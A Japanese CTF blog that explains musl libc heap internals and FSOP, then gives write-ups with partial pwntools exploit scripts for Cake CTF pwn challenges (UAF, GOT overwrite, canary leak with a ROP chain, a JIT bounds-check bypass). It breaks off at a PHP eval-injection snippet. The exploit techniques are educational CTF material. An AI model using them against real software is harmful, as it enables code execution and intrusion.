過密です

タイトルしょうもなさすぎたので変えました

CTFで出題されるmusl libc問あれこれ

はじめに

本エントリはCTF Advent Calender 2021の21日目の記事です。
前はEdwow Mathさんの記事、次はXornetさんの記事になっております。

投稿遅れてしまって本当にすみません🙇‍♂️🙇‍♂️🙇‍♂️

以下、目次です。

背景

CTFのpwnジャンルにおいていわゆるheap問というとThe GNU C library(以下glibc)のmallocのメモリ管理機構を利用した問題が頻出ですが、今年のDEFCON予選で出題されたmoooslという問題でmusl libcのpwnを目にして以来、結構大きめの大会でも出題されるのを見かけるようになった気がするので、実際に大会で出題された過去問のパターンをいくつか紹介したいという内容です。 (CTF歴が浅いので、もしかしたら今年以前にも出題があったかもしれません)

前提

musl libcについて

公式サイト

musl.libc.org

musl is an implementation of the C standard library built on top of the Linux system call API, including interfaces defined in the base language standard, POSIX, and widely agreed-upon extensions. musl is lightweight, fast, simple, free, and strives to be correct in the sense of standards-conformance and safety.

とのこと。あまり詳しくないので深くは言及しないですが、組み込み分野で使用されることの多いalpine linuxで利用されている事例もあるそう。

実装

ここからpwn問題で使用しそうなmusl libcのmalloc/freeとfile構造体について簡単に説明しようと思います。
現時点(投稿時点)での最新versionが1.2.2であり、自分が把握している過去問の3/4が1.2.2での出題でした。 1問だけ1.1.24の問題もありましたが、ここでは1.2.2だけ触れます。

malloc/free

ソースコードはsrc/malloc/mallocng内のファイルを参照してください。

musl libcでは確保領域(以下chunk)の管理方法が大きく3つの部分に分かれています。
それぞれlibc全体での管理領域のmalloc_context,
同じsizeの1まとまりのchunkを管理するmeta,
実際にユーザに返すアドレスを含んだ領域であるgroupです。

src/malloc/mallocng/meta.h より

struct group {
    struct meta *meta;
    unsigned char active_idx:5;
    char pad[UNIT - sizeof(struct meta *) - 1];
    unsigned char storage[];
};

struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx:5;
    uintptr_t freeable:1;
    uintptr_t sizeclass:6;
    uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

...

struct malloc_context {
    uint64_t secret;
#ifndef PAGESIZE
    size_t pagesize;
#endif
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};

例として以下のような操作をした際の実際のメモリを見てみます。
下記ではサイズが切り上げられて4つのchunkは全て0x30サイズのchunkとして管理されます。

char* a,b,c,d;
a = malloc(0x20); // "AAAA\n"
b = malloc(0x2a); // "BBBB\n"
c = malloc(0x2c); // "CCCC\n"
d = malloc(0x2c); // "DDDD\n"

free(c)

malloc_contextのメモリダンプ(先頭から抜粋なので実際はもっと長いです)
0x30のmeta領域を指すのはmalloc_context.active[2]なので、0x7ffff7ffbb40に格納された値がmetaのアドレスです。

0x7ffff7ffbae0 <__malloc_context>:      0x1f93d0d4ab298ae4      0x0000000000000001
0x7ffff7ffbaf0 <__malloc_context+16>:   0x0000000000000000      0x00007ffff80001a8
0x7ffff7ffbb00 <__malloc_context+32>:   0x000000000000005b      0x0000000000000000
0x7ffff7ffbb10 <__malloc_context+48>:   0x0000000000000000      0x00007ffff8000000
0x7ffff7ffbb20 <__malloc_context+64>:   0x00007ffff8000000      0x00007ffff8001000
0x7ffff7ffbb30 <__malloc_context+80>:   0x00007ffff8000158      0x0000000000000000
0x7ffff7ffbb40 <__malloc_context+96>:   0x00007ffff8000180      0x0000000000000000
0x7ffff7ffbb50 <__malloc_context+112>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbb60 <__malloc_context+128>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbb70 <__malloc_context+144>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbb80 <__malloc_context+160>:  0x0000000000000000      0x00007ffff8000090
0x7ffff7ffbb90 <__malloc_context+176>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbba0 <__malloc_context+192>:  0x0000000000000000      0x00007ffff8000068
0x7ffff7ffbbb0 <__malloc_context+208>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbbc0 <__malloc_context+224>:  0x0000000000000000      0x00007ffff8000040
0x7ffff7ffbbd0 <__malloc_context+240>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbbe0 <__malloc_context+256>:  0x0000000000000000      0x00007ffff8000018
0x7ffff7ffbbf0 <__malloc_context+272>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc00 <__malloc_context+288>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc10 <__malloc_context+304>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc20 <__malloc_context+320>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc30 <__malloc_context+336>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc40 <__malloc_context+352>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc50 <__malloc_context+368>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc60 <__malloc_context+384>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc70 <__malloc_context+400>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc80 <__malloc_context+416>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbc90 <__malloc_context+432>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbca0 <__malloc_context+448>:  0x0000000000000000      0x0000000000000000
0x7ffff7ffbcb0 <__malloc_context+464>:  0x000000000000001e      0x0000000000000000
0x7ffff7ffbcc0 <__malloc_context+480>:  0x000000000000000a      0x0000000000000000
0x7ffff7ffbcd0 <__malloc_context+496>:  0x0000000000000000      0x0000000000000000

続いてmeta領域です。

0x7ffff8000180: 0x00007ffff8000180      0x00007ffff8000180
0x7ffff8000190: 0x00007ffff7d65cd0      0x00000004000003f0
0x7ffff80001a0: 0x00000000000000a9      0x0000000000000000

先頭のアドレスはサイズ0x30のmeta領域の双方向リストで、上の例だとまだ一つしかmeta領域が獲得されていないので自分自身とつながっています。
offset=0x10のアドレスがgroup領域になります。実際にユーザに返される領域はこのgroup+0xXXのアドレスになります。
offset=0x18の値はそれぞれavail_maskが0x3f0, freed_maskが0x4となっています。これは現在使用できる領域、解放済みの領域のoffsetを表すもので、上記例だと4つ獲得したのでavail_maskの下位4bitが0になっていて、3個目のchunkをfreeしたのでfree_maskの下位3bit目が1になっています。

最後にgroup領域です。

0x7ffff7d65cd0: 0x00007ffff8000180      0x0000a00000000009
0x7ffff7d65ce0: 0x0000000a41414141      0x0000000000000000
0x7ffff7d65cf0: 0x0000000000000000      0x0000000000000000
0x7ffff7d65d00: 0x0000000000000000      0x000341000000000c
0x7ffff7d65d10: 0x0000000a42424242      0x0000000000000000
0x7ffff7d65d20: 0x0000000000000000      0x0000000000000000
0x7ffff7d65d30: 0x0000000000000000      0x0000ff0000000000
0x7ffff7d65d40: 0x0000000a43434343      0x0000000000000000
0x7ffff7d65d50: 0x0000000000000000      0x0000000000000000
0x7ffff7d65d60: 0x0000000000000000      0x0009030000000000
0x7ffff7d65d70: 0x0000000a44444444      0x0000000000000000
0x7ffff7d65d80: 0x0000000000000000      0x0000000000000000
0x7ffff7d65d90: 0x0000000000000000      0x0000000000000000
0x7ffff7d65da0: 0x0000000000000000      0x0000000000000000

先頭はmeta領域へのポインタです。chunk周辺にglibcとは違ったメタデータが見えます。

ソースを見ればわかりますが2個目のchunkの例を少し説明すると、 (uint16_t)ptr[-2] * 0x10がそのchunkのgruopからのoffsetになります。メモリ上だと0x000341の0x0003が獲得可能な先頭(0x7ffff7d65ce0)から0x30離れていることを表しています。

また0x000341の0x41については0x41 >> 5 = 2で、これはサイズ0x30のchunkの最大で確保できる領域(0x2c)-要求サイズ(0x2a)を表しています。(ソースコード上はreservedという変数) 残りの0x41の下位5bitは(0x41 & 0x1f = 1)group内のoffsetを表しています。 reseved が5以上の場合はreservedの値をchunkの末尾に書いて先述のptr[-3]にはreserved = 5として記録しています。
1個目のchunkがそれに該当し0x2c-0x20=0xcがchunkの末尾に記録されています。これらのメタデータソースコード上だとmeta.hのset_size()の箇所がこの操作を行なっているところになります。

ここまで管理手法についてざっくり説明しましたが、 次にmalloc / freeの挙動についても重要なところをかいつまんで説明しようと思います。

malloc

かなり適当ですがmallocはこんな雰囲気のフローです

  1. 要求サイズがthresholdを超えているか
    true -> mmapしてそれを利用(省略)
    false-> 2へ
  2. 使用するmeta *gを特定
    ない-> alloc_slot()で領域確保して4へ
  3. g->avail_maskに空きがあるか確認
    ある -> indexを指定してmaskを更新
    ない-> alloc_slot()で領域確保
  4. 使用するmeta領域とそのindexが決まったのでenframe()でサイズなどのメタデータを付与

実際にはもっと内部で色々なことをしていますが、assert()でバイナリが死ぬ箇所はそこまで多くない印象です。 mallocで一番覚えておくべき挙動としては 使用するmeta領域にfreedなchunkがあってもavail_maskのindexが小さいものからchunkを優先して取得するということです。
freedなchunkはavail_maskが0になった時に一斉にfreed_mask => avail_maskとなり、獲得される順番はglibcの直近で使用していたchunkから取得する思想とは異なるので注意が必要です。

free

freeは基本的にp[-3]=0xffなどのchunkのメタデータを更新するだけですが、groupの全てのchunkがfreed または avail(使用可能)になった時に呼ばれるnontrivial_free()がなかなか重要なのでそこだけ軽く説明します。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{   
    uint32_t self = 1u<<i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
        // any multi-slot group is necessarily on an active list
        // here, but single-slot groups might or might not be.
        if (g->next) {
            assert(sc < 48);
            int activate_new = (ctx.active[sc]==g);
            dequeue(&ctx.active[sc], g);
            if (activate_new && ctx.active[sc])
                activate_group(ctx.active[sc]);
        }
        return free_group(g);
    } else if (!mask) {
        assert(sc < 48);
        // might still be active if there were no allocations
        // after last available slot was taken.
        if (ctx.active[sc] != g) {
            queue(&ctx.active[sc], g);
        }
    }
    a_or(&g->freed_mask, self);
    return (struct mapinfo){ 0 };
}

ソースコード内のifがtrueとなった場合に呼ばれるdequeue()でunlink attackが可能です。ここでいうunlink attackは8bytesのAAWなので問題を解く際はかなり重宝します。
具体例としては、偽のmeta領域を用意してそのmetaにつながるgroupのchunkをfreeすることで偽のmeta領域のnext,prevの値を元にunlink attackが可能となります。
ただこの流れの中でassert()によるvalidationが結構な数あったので、適切なフローを通るように各種メタデータを適切に設定できるよう実際にコードを書いて慣れておくのが良いと思います。
自分はかなり沼にハマってしまいました。

またelse if 内のqueueもmalloc_contextのactive[]に偽のmeta領域をつなぐなどに使えます。

あとは地味にfree時にユーザが書き込んだデータが破損されないのも問題を解く際にはありがたいですね。
低コストで先頭8bytesを0埋めとかでもかなり変わってくるのではないかと思いますが。もしかしたら今後アップデートで変わるかもしれません。

FILE構造体(FSOP)

glibcと違って_malloc_hookや_free_hookがmusl libcにはないため、AAW可能な場合などにRIPを奪うための有効な手段です。
ソースコードは以下
src/internal/stdio-impl.h

struct _IO_FILE { 
    unsigned flags;                                                                                      
    unsigned char *rpos, *rend;                                                                          
    int (*close)(FILE *);                                                                                
    unsigned char *wend, *wpos;                                                                          
    unsigned char *mustbezero_1;                                                                         
    unsigned char *wbase;
    size_t (*read)(FILE *, unsigned char *, size_t);                                                     
    size_t (*write)(FILE *, const unsigned char *, size_t);                                              
    off_t (*seek)(FILE *, off_t, int);                                                                   
    unsigned char *buf;
    size_t buf_size;                                                                                     
    FILE *prev, *next;                                                                                   
    int fd;
    int pipe_pid;
    long lockcount;
    int mode;
    volatile int lock;
    int lbf;                                                                                             
    void *cookie;                                                                                        
    off_t off;
    char *getln_buf;                                                                                     
    void *mustbezero_2;                                                                                  
    unsigned char *shend;                                                                                
    off_t shlim, shcnt;                                                                                  
    FILE *prev_locked, *next_locked;                                                                     
    struct __locale_struct *locale;                                                                      
};  

stdinの例
src/stdio/stdin.c

static unsigned char buf[BUFSIZ+UNGET];                                                                  
hidden FILE __stdin_FILE = {                                                                             
    .buf = buf+UNGET,                                                                                    
    .buf_size = sizeof buf-UNGET,                                                                        
    .fd = 0,
    .flags = F_PERM | F_NOWR,
    .read = __stdio_read,                                                                                
    .seek = __stdio_seek,
    .close = __stdio_close,                                                                              
    .lock = -1,                                                                                          
};
FILE *const stdin = &__stdin_FILE;                                                                       
FILE *volatile __stdin_used = &__stdin_FILE; 

実際のメモリダンプはこんな感じ

0x7ffff7ffb180: 0x0000000000000009      0x0000000000000000
0x7ffff7ffb190: 0x0000000000000000      0x00007ffff7fa39a0
0x7ffff7ffb1a0: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb1b0: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb1c0: 0x00007ffff7fa3a90      0x0000000000000000
0x7ffff7ffb1d0: 0x00007ffff7fa3b80      0x00007ffff7ffc2e8
0x7ffff7ffb1e0: 0x0000000000000400      0x0000000000000000
0x7ffff7ffb1f0: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb200: 0x0000000000000000      0xffffffff00000000
0x7ffff7ffb210: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb220: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb230: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb240: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb250: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb260: 0x0000000000000000      0x0000000000000000
0x7ffff7ffb270: 0x0000000000000000      0x0000000000000000

関数ポインタにあるread,write,seek,closeはいずれも自身のfile構造体のポインタを第一引数に取ります。
そのためfile構造体の先頭8byte(flagsメンバに位置するメモリ)を"/bin/sh\x00"に書き換えた上で関数を呼び出す方法などが使えます。

過去問

とりあえず自分が補足しているものを列挙しました。
他にも出題が確認されていたら教えてください🙏(解き直すかは別として)

ちなみに自分は大会中に解けてないので他人のwriteupを大いに参考にしております。
ソルバは参考にしたwriteupで十分かなと思ったので省略します。要望があればgithubとかにあげるかもです。

mooosl (DEFCON 2021 Quals)

version1.2.2からの出題でUAFの脆弱性があるバイナリの問題でした。

偽のmeta領域、group領域を作成してそれらをfreeし、管理領域malloc_contextに偽のデータを登録することで、偽の獲得領域からmallocできる用意する解法が使われていました。 AAWが可能になったあとはstdoutを書き換えてシェルを起動するよう流れです。

偽の獲得領域から取得する時のvalidationのbypassのためにunlink attackが必要で 偽の領域をmalloc_contextに登録するのが思いのほかだるいです。この問題を解いておけばだいぶmusl libcのmalloc/heapの面倒くささ、大まかな挙動が掴めると思いますが、後述の問題の方が練習向きだと思います。
自分は丸2日くらい溶かしました。配布されたlibcのシンボル情報が一致しない(これなんで)のでめちゃくちゃデバッグがしんどかった。。

参考writeup

https://h-noson.hatenablog.jp/entry/2021/05/03/161933

すでに日本語の記事があり大変わかりやすい🙏

musl (RCTF 2021)

続いてもversion 1.2.2からの出題。

seccompが有効なためシェル起動ではなくflagをorw(open,read,write)する問題。
バイナリも複雑なものではないので、練習としてこの問題から解いてみるのもありかと。

またRIPを奪った後に便利なROP gadgetがmusl libcにはあるみたい。

0x0004a5ae: mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ;  (1 found)

いわゆるstack pivot的なもので、後述の問題でも使うテクニックなので覚えておいて損はないと思います。
FSOPで使う例としては、関数ポインタをこのgadgetにしてファイル構造体のaddress+0x30, +0x38にそれぞれpivot後のstackのアドレス、実行したい命令のアドレスが格納されたメモリのアドレスを指定すれば良いです。
libcリークは獲得領域のページがlibcに隣接することを使用して解いたのですが(localのubuntu)、Dockerも配布されなかったので本番環境だとちゃんとうまく行くのかは少し不安。

参考writeup

https://blog.rois.io/en/2021/rctf-2021-official-writeup/#musl

house of tataru(N1CTF 2021)

これもversion 1.2.2。 ほぼ先述のRCTFのやつとやることは同じでした。
seccompが有効で libcのhashは違うけどバージョンは一緒で例の便利なstack pivotが可能なgadgetがあるのでflagをorwします。

例のgadget

0x0007b1f5: mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ;  (1 found)

参考writeup

N1CTF 2021 - house_of_tataru | kileak

babyheap 2021 (0CTF/TCTF 2021 Quals)

この問題だけバージョンが1.1.24でした。 すみません、まだ解き直していません。🙇‍♂️🙇‍♂️
解けたら追記するかもです。

まあすでにwriteupが出ているのでそちらを参考にした方が早いです。
ropのペイロード的にこれも前者と同じかも。

参考writeup

https://ptr-yudai.hatenablog.com/entry/2021/07/07/125444#pwn-392pts-BabyHeap-2021-18-solves

まとめ

いざとき直してみると、そんなに手法にバリエーションはなかった印象です。(3問しか解いてない)
今のところchunkの管理手法、meta領域のunlink attack、FSOPができれば対応できそうな雰囲気。
個人的な感想は管理方法は違えどglibcのheapガチャガチャと感覚はほぼ一緒なので数問解いておけばこれから出題されても頑張れそう。

来年もよろしくお願いします。

Cake CTF writeup

初めに

zer0ptsの一部のメンバーが主催したCake CTFにKUDoSで参加して6位/157チームでした 自分の解いた問題のwriteupを書きます。

実際のソルバの一部を載せていますが、完全版が見たい方はgithubを参照くださいまし。

github.com

UAF4b(pwn)

113pts 75solves

問題名の通りUAFを使った初心者向けの問題です。
問題ファイルの配布はなし、サーバに接続すると丁寧な誘導があります。
関数ポインタを使用した構造体のUAFがあるので、一度freeをしたあとその関数ポインタをsystem関数のアドレスにして関数を呼んでみましょう。
うまくいかなくても4のコマンドでheapアドレスのダンプが見れるのも嬉しいですね。

exploit コード(一部)

def exploit():
    conn.recvuntil("<system> = ")
    addr_system = int(conn.recvline(), 16)
    conn.sendlineafter(">", "3")
    conn.sendlineafter(">", "2")
    conn.sendlineafter(":", p64(addr_system))
    conn.sendlineafter(">", "2")
    conn.sendlineafter(":", "/bin/sh")
    conn.sendlineafter(">", "1")

    conn.interactive()

if __name__ == "__main__":
    exploit()

GOT it(pwn)

165pts 32solves

main関数のアドレスとlibcのアドレスを教えてもらえて、一度だけ任意アドレスへの書き込みが許されています。
が、バイナリがFull RELROなので実行バイナリのアドレスを使って関数フックをすることは難しいです。
任意アドレス書き込みの後に呼ばれるputsの挙動をgdbで追うと関数アドレスをメモリ上から取ってきてそのアドレスに飛ぶ処理があります。

  0x7ffff7dec460 <*ABS*+0xa27b0@plt>      endbr64 
  0x7ffff7dec464 <*ABS*+0xa27b0@plt+4>    bnd jmp qword ptr [rip + 0x1c5c3d] <__strlen_avx2>

rip+0x1c5c3dのメモリを見ると

0x7ffff7fb20a8 <*ABS*@got.plt>: 0x00007ffff7f52660

なるほど、この値を書き換えてあげればripを取れそうですね。

exploit コード(一部)

def exploit():
    conn.recvuntil(" = ")
    addr_main = int(conn.recvline(),16)
    conn.recvuntil(" = ")
    libc_printf = int(conn.recvline(),16)

    libc_base = libc_printf - off_printf
    libc_system = libc_base + off_system
    print(hex(libc_base))
    test = libc_base + (0x7ffff7fb20a8 - 0x7ffff7dc7000)
    conn.sendlineafter(": ", hex(test))
    conn.sendlineafter(": ", hex(libc_system))
    conn.sendlineafter(": ", "/bin/sh")
    conn.interactive()

JIT4b(pwn)

175pts 28solves

JIT最適化の脆弱性をテーマにした問題です。
realworldだとブラウザのJSエンジンなどで見かけるような話題かと思います。自分も少しここら辺のトピックに触れたことがあるのですが、JITコンパイラのコードを読むのとかが結構大変で心が折れた記憶がありますが、この問題は丁寧にコードにコメントアウトがしてあっていいですね。勉強になります。

以下は問題のバナーです。

Today, let's learn about bounds-checking elimination bug!
JIT is frequently abused in browser exploitation.

The JIT compiler is going to optimize the following function:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   <YOUR CODE GOES HERE>
4|   return arr[x];
5| }

You can apply some basic calculations on `x`, for example:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   x = Math.min(x, 2);
4|   x = Math.max(x, 0);
5|   return arr[x];
6| }

In the code above, JIT will remove the bound check on line 5
because JIT knows `x` is always in Range(0, 2).

However, in the code below, JIT will not remove the bound check
because the speculated range for `x` is Range(-inf, 2),
which may cause (negative) out-of-bound access.

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
4|   x = x * 123;
3|   x = Math.max(x, 2);
5|   return arr[x];
6| }

Your goal is to deceive JIT speculation and access out-of-bound.

上記の通り、自分で擬似コードを作りJITの最適化を働かせて、その上で配列の範囲外参照を行うことがゴールとなります。

コードをよく見ると各種演算ではオーバフローが起きていないかチェックしているのですが、割り算のところだけ少し変わったチェックをしていて怪しいです。

  Range& operator+=(const int& rhs) {
    if (__builtin_sadd_overflow(min, rhs, &min)
        || __builtin_sadd_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min();
      max = numeric_limits<int>::max();
    }
    return *this;
  } 
  
  /* Abstract subtraction */
  Range& operator-=(const int& rhs) {
    if (__builtin_ssub_overflow(min, rhs, &min)
        || __builtin_ssub_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min();
      max = numeric_limits<int>::max();
    }
    return *this;
  }
  
  /* Abstract multiplication */
  Range& operator*=(const int& rhs) {
    if (rhs < 0)
      swap(min, max);
    if (__builtin_smul_overflow(min, rhs, &min)
        || __builtin_smul_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min(); 
      max = numeric_limits<int>::max(); 
    }  
    return *this;
  }
       
  /* Abstract divition */
  Range& operator/=(const int& rhs) {
    if (rhs < 0)
      *this *= -1; // This swaps min and max properly
    // There's no function named "__builtin_sdiv_overflow"
    // (Integer overflow never happens by integer division!)
    min /= abs(rhs);
    max /= abs(rhs);
    return *this;
  }

何かこれを利用できないかなあと思い、
境界値を色々投げてみると/= -2147483648の時にRangeがmin>maxになりおかしくなります。 これを使ってうまく範囲外参照を起こせる演算を考えます。

解答

Step 1. Build your function
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 4
value: -2147483648
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 3
value: -1
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 7
[+] Your function looks like this:

function f(x) {
  let arr = [3.14, 3.14, 3.14];
  x /= -2147483648;
  x *= -1;
  return arr[x];
}

Step 2. Optimize your function...
[JIT] Speculation: Range(-2147483648, 2147483647)
[JIT] Applying [ x /= -2147483648 ]
[JIT] Speculation: Range(1, 0)
[JIT] Applying [ x *= -1 ]
[JIT] CheckBound: 0 <= Range(0, -1) < 3?
      --> Yes. Eliminating bound check for performance.

Step 3. Call your optimized function
What's the argument `x` passed to `f`?
x = -2147483648
[+] f(-2147483648) --> 1.63042e-322
[+] Wow! You deceived the JIT compiler!

C++のコードは難しいですが、雰囲気と気合いで読みましょう。(?)

Not So Tiger(pwn)

239pts 14solves

C++製のバイナリです。ソースコードも配られます。
C++のバイナリは難しいですが、雰囲気と気合いで読みましょう その2
stackのBoF脆弱性がありますが、canaryが有効なのでこのままではROPに持ち込めません。なので色々工夫します。

コード内ではvariantが使われていて、このtypeをoverflowで書き換えることでやれることが少し増えます。
例えば以下のような処理を行います。

    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(got_strdup, payload)
    show()
    conn.recvuntil("Name: ")

コード中のcreate()はバイナリ中のコマンドで言う"1. New cat"を選択するもので、第一引数からtype, age, nameのようになっています。
同様にshow()は"2. Get cat"を選択、change(age, name)は"3. Set cat"を選択するものです。
上記のコードを実行すると、type=2で変数を作成しているにもかかわらず、その後のchange()のoverflowでtype=0に書き換えることができます。するとlong型のageをchar*として認識するようになるのでshow()を実行するとgot_strdupの中身を見ることができ、libcのアドレスを取得することができます。
上記の方法でAARが可能になり、これをチェインさせることでlibcリーク->stackリーク->canaryリークのように各領域のアドレスを読み出してROPに持ち込めるようです。

が、自分はlibc内でstackアドレスを取得できることを完全に失念していて、libcリーク->heapリーク->(stack上の値をheapに書き込む)->stackリーク->canaryリークとまわりくどい手順を取りました。
typeを書き換えるとAARだけでなく、got領域付近の関数を実行することができます。というのも"3"を選択したときに呼ばれるvisit()の処理を追うと[0x407cc0+type*8]に格納されている関数アドレスを実行する流れになっています。0x407cc0はgot領域の手前に位置するのでtypeを操作するとgot領域にある関数くらいなら実行することができます。ただ使える関数が限られていること、引数が(rbp-0xb0, rbp-0x50)になることからそれほど自由度は高くないです。"2"を選択した時も同様に[0x407ca0+type*8]()を実行することができます。

"3"を選択しvisit()を呼ぶ前には必ず[rbp-0xb0] = rbp-0xb8という操作が入るのでtype=0x5fにするとstrdup(rbp-0xb0)が呼ばれてstackのアドレスをheap領域に書き込むことができます。heap領域のアドレスはlibc内のmain_arenaにあるtopなどから取得することができるのでこれをチェインさせてstackのアドレスを取得しました。

完全に手間が増えていますね。ただやってる身としてはどの関数を使おかな〜〜なんて考えるのも少し楽しかったりもします。

exploit コード(一部)

def exploit():
    # libc address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(got_strdup, payload)
    show()
    conn.recvuntil("Name: ")

    libc_strdup = u64(conn.recvline()[:-1]+b"\x00\x00")
    libc_base = libc_strdup - off_strdup
    libc_malloc_hook = libc_base + off_malloc_hook
    top_chunk = libc_base + off_malloc_hook + 0x70
    libc_system = libc_base + off_system
    libc_binsh = libc_base + off_binsh

    # heap address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(top_chunk, payload)
    show()
    conn.recvuntil("Name: ")
    addr_heap = conn.recvline()[:-1]
    addr_heap = u64(addr_heap + b"\x00"*(8-len(addr_heap)))

    # do strdup
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\x5f\n"
    change(0x7eadbeefdeadbeef, payload)
    change(1,"A\n")

    # stack address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(addr_heap+0x10, payload)
    show()
    conn.recvuntil("Name: ")

    addr_stack = conn.recvline()[:-1]
    addr_stack = u64(addr_stack + b"\x00"*(8-len(addr_stack)))

    # canary leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(addr_stack+0xa0+1, payload)
    show()
    conn.recvuntil("Name: ")

    canary = conn.recv(7)
    canary = u64(b"\x00"+canary)

    payload = b"A"*0x88
    payload += p64(canary)
    payload += p64(0)*3
    payload += p64(only_ret)
    payload += p64(rdi_ret)
    payload += p64(libc_binsh)
    payload += p64(libc_system)
    payload += b"\n"

    create(0, 0xdead, payload)
    conn.sendlineafter(">> ", "4")
    print(hex(libc_base))
    print(hex(addr_heap))
    print(hex(addr_stack))
    print(hex(canary))

    conn.interactive()

rflag(rev)

204pts 20solves

16進数文字で表された長さ32のバイト列を特定する内容です。 4回正規表現を入力できてマッチする箇所のオフセットを教えてくれます。16進数文字は4bitで表せるのでそれを利用したシグネチャを投げます。
具体的には1回目に0bit目が立っている数字を、2回目には1bit目が立っている数字を、、、のようにシグネチャを投げると1回目のみに現れたオフセットにある数字は1(b0001)で1回目と2回目に現れたオフセットにある数字は3(b0011)のように特定ができます。

def exploit():
    sig = ["[13579bdf]","[2367abef]","[4567cdef]","[89abcdef]"]
    flag = [0 for x in range(0,32)]
    flag_s = ""
    for i in range(0,4):
        conn.sendlineafter(":",sig[i])
        conn.recvuntil(": [")
        arr = conn.recvuntil("]")[:-1].split(b",")
        for x in arr:
            flag[int(x)] |= (1 << i)
    for c in flag:
        flag_s += "%x"%c
    print(flag_s)
    conn.sendlineafter("?\n", flag_s)
    conn.interactive()

チームメイトのarataくんが概要掴んでslackに投げていてくれたので、そのsolverを書きました。
Rust製バイナリだったみたいなのですが、自分は全くバイナリ読まず触れずで終わりました。

どうでもいいのですが小学生の時、この問題の原理と同じなのですが複数枚の数字が書かれたカードの中から1枚ずつこのカードに書いてるか否かを聞いて誕生日の日付を当ててエスパーを名乗る教育実習生がいたのを思い出しました。

おわりに

久しぶりにがっつりCTFに時間を割きました。36時間のうち8時間睡眠くらいだったと思います。 Not So Tigerでかなりハマってしまったのですが、睡眠後みたらあっさり解けたのでどんなに長期間でも睡眠は大事というのを再度を思い知らされました。
CTF毎週参加するのも楽しいのですが、復習とかで他のことに手が回らなくなる、がっつり勉強・修行期間がとりたくなる影響でここ数ヶ月あまり参加できていませんでしたが、楽しいCTFに参加するとやっぱりもっと参加したいなという気持ちになります。

運営の皆さん、他の参加者、チームメンバーありがとうございました。

PHPのbypass disable_functionsについて (Chankro使ってみた)

導入

Pwn2win 2021 CTFで出題されたpwnのC'mon See my Vulnsに挑戦した時のお話。
この問題はphpのheap問であったのだが、非想定解のweb解法が存在する。
web解法ではphpのdisable_functionsの制約が緩いことを利用した攻撃が可能であり、その解放についてのメモを書いていく。

問題概要

以下では下記writeupを参考にする。
https://snix0.com/posts/pwn2win-cmon-see-my-vulns/

writeupではopen_basedirのバイパスも紹介されているが、本問題ではデフォルトのパス/var/www/html内で完結するため割愛するが、これもまた単純ではあるが面白いテクニックであるので読むことを推奨する。

この問題ではユーザの入力を受け取り、csv_parseという自作関数にてparse処理を行うという問題である。
想定解では配布されたcsv_parse.soの脆弱性を狙うのであるが、以下のphpの処理を利用した攻撃も可能である。またサーバーにはcat /root/flag.txtをroot権限で実行する/opt/readflagという実行ファイルが存在する。

index.php(一部抜粋)

<?php

function do_calcs($csv){
  preg_match_all("/{{([^}]*)}}/", $csv, $matches);

  foreach ($matches[1] as &$val){
    $csv = str_replace("{{" . $val . "}}", eval("return " . $val . ";"), $csv);
  }
  return $csv;
}

